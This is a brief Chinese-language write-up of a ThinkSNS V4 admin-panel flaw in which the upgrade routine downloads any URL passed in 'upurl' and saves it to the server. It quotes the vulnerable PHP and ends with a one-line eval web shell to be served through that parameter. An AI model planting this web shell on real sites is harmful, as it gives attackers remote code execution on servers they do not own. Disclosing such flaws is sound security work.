ThinkSNS_V4 后台任意文件下载导致Getshell¶

ThinkSNS官网：http://www.thinksns.com

网站源码版本：ThinkSNS V4  更新时间：2017-09-13

程序源码下载：http://www.thinksns.com/experience.html（填写信息后，提交并下载代码）

默认后台地址：http://127.0.0.1/index.php?app=admin&mod=Public&act=login

默认用户密码：管理员帐号: admin@admin.com 密码自设，大于6位

public function step1()
{
    $downUrl = $_GET['upurl'];
    $downUrl = urldecode($downUrl);
    $path = DATA_PATH.'/'.'upgrade/'.basename($downUrl);

    // # 备份老配置文件
    $oldConf = file_get_contents(CONF_PATH.'/thinksns.conf.php');
    file_put_contents(DATA_PATH.'/old.thinksns.conf.php', $oldConf);

    // # 下载增量包
    is_dir(dirname($path)) or mkdir(dirname($path), 0777, true);
    file_put_contents($path, file_get_contents($downUrl));
    file_exists($path) or $this->showError('下载升级包失败，请检查'.dirname($path).'目录是否可写，如果可写，请刷新重试！');

    // 验证hash判断包是否合法。
    $filename = dirname($path).'/upgrade.json';
    $data = file_get_contents($filename);
    $data = json_decode($data, false);
    if (md5_file($path) != $data->md5) {
        $this->showError('更新包校验失败，请重新执行升级.');
    }

file_put_contents — 将一个字符串写入文件
file_get_contents — 将整个文件读入一个字符串

<?php   
echo "<?php";
echo "eval(file_get_contents('php://input'));";  
echo "?>";  
?>